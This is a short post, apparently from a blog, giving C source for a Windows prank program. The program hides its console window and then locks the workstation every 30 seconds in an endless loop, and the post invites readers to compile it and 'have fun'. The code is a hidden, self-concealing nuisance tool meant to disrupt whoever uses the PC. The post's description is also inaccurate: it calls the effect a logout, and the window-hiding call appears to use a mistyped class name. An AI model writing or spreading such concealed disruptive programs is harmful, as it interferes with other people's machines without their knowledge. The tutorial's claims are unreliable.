how to logout a PC by using C program ?

In this Program console is hidden.
It logout your PC in shorten time interval..like a bug!!!!
You can stop this process in task manager process tab.

Compile the code in dev c or any GCC compiler and....have fun =_* 

#include<conio.h>
#include<windows.h>
main(){
// code for hiding the console_window

HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("Console WindowClass",NULL);

ShowWindow(stealth,0);
// code for hiding the console_window
while(1){
Sleep(30000);
system("rundll32.exe user32.dll, LockWorkStation");
}

}